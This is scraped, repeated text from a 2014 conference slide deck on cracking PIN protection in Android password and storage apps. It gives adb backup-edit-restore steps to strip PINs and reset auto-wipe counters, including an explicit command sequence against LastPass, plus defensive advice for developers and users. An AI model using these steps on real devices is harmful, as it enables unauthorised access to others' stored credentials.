  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 83: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 84: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
